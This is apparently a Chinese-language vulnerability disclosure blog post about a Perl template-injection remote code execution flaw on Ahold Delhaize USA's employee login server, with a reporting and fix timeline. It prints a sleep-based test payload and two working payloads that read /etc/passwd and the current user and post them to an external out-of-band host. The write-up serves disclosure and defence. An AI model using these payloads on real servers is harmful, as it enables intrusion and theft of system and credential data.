Ahold Delhaize USA远程代码执行漏洞分析:员工凭证泄露风险长达18年

本文详细分析了Ahold Delhaize USA公司ws1.aholdusa.com服务器存在的严重安全漏洞,包括服务器端模板注入和远程代码执行,导致员工登录凭证可能面临长达18年的泄露风险。

远程代码执行漏洞分析:ws1.aholdusa.com

背景

Ahold Delhaize自称是全球最大的食品零售集团之一。他们每周服务6000万客户,拥有150年历史,员工超过41.4万人。该公司声称是超市和电子商务领域的领导者,并在2020年因支持网络安全透明度而获奖。

漏洞讨论

这个严重的CVSS 10分漏洞在报告后超过3.5年仍未修复。作者强烈怀疑该漏洞自2005年就已存在,使员工凭证面临泄露风险。

侦查过程

通过侦查发现https://ws1.aholdusa.com/用于美国员工登录,服务器别名为ldap-ws-vip.aholdusa.com。使用Waybackurls工具发现了包含cgi-bin的遗留端点,其中包含.pl扩展名的Perl脚本。

发现服务器端模板注入漏洞

通过Burp Suite工具测试,发现version参数存在反射型XSS漏洞。进一步测试发现了Perl代码注入漏洞,可使用{${sleep(lc(20))}} payload使服务器休眠20秒。

利用漏洞

成功构造payload泄露/etc/passwd文件:

1
version=${exec('perl -MMIME::Base64 -MLWP::UserAgent -e \'my $ua %3d LWP::UserAgent->new;my $response %3d $ua->post(\"http://1dfct18y9z1fai91sjr25xngn7tyhx5m.oastify.com\",Content_Type %3d> \"form-data\", Content %3d> [file %3d> [\"/etc/passwd\"]]);\'')}

该payload使用Perl的LWP::UserAgent模块将/etc/passwd文件内容发送到攻击者控制的服务器。

额外payload示例

获取当前Linux用户:

1
ssn=1234&mmdd=1234&name=asdadaw&login-form-type=initial_entry&version=${exec('perl -MMIME::Base64 -MLWP::UserAgent -e \'my $ua %3d LWP::UserAgent->new; my $user %3d getpwuid($<);my $response %3d $ua->post(\"http://1dfct18y9z1fai91sjr25xngn7tyhx5m.oastify.com\",Content_Type %3d> \"form-data\", Content %3d> $user);\'')}

时间线

  • 2020-04-23:向Ahold安全团队报告漏洞
  • 2020-04-23:Ahold确认漏洞
  • 2023-11-02:Ahold请求确认漏洞修复
  • 2023-11-09:确认漏洞仍然存在
  • 2023-11-13:获得300欧元赏金
  • 2023-11-15:虚假修复(仅GET请求返回404)
  • 2023-11-20:确认真正修复
  • 2023-12-14:公开披露

结论

该身份管理系统/LDAP服务器存在完全被攻破的风险。虽然漏洞已修复,但考虑到其可能存在的时长(自2005年起),所有使用该服务器的用户/员工/客户/供应商数据都应被视为已泄露。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计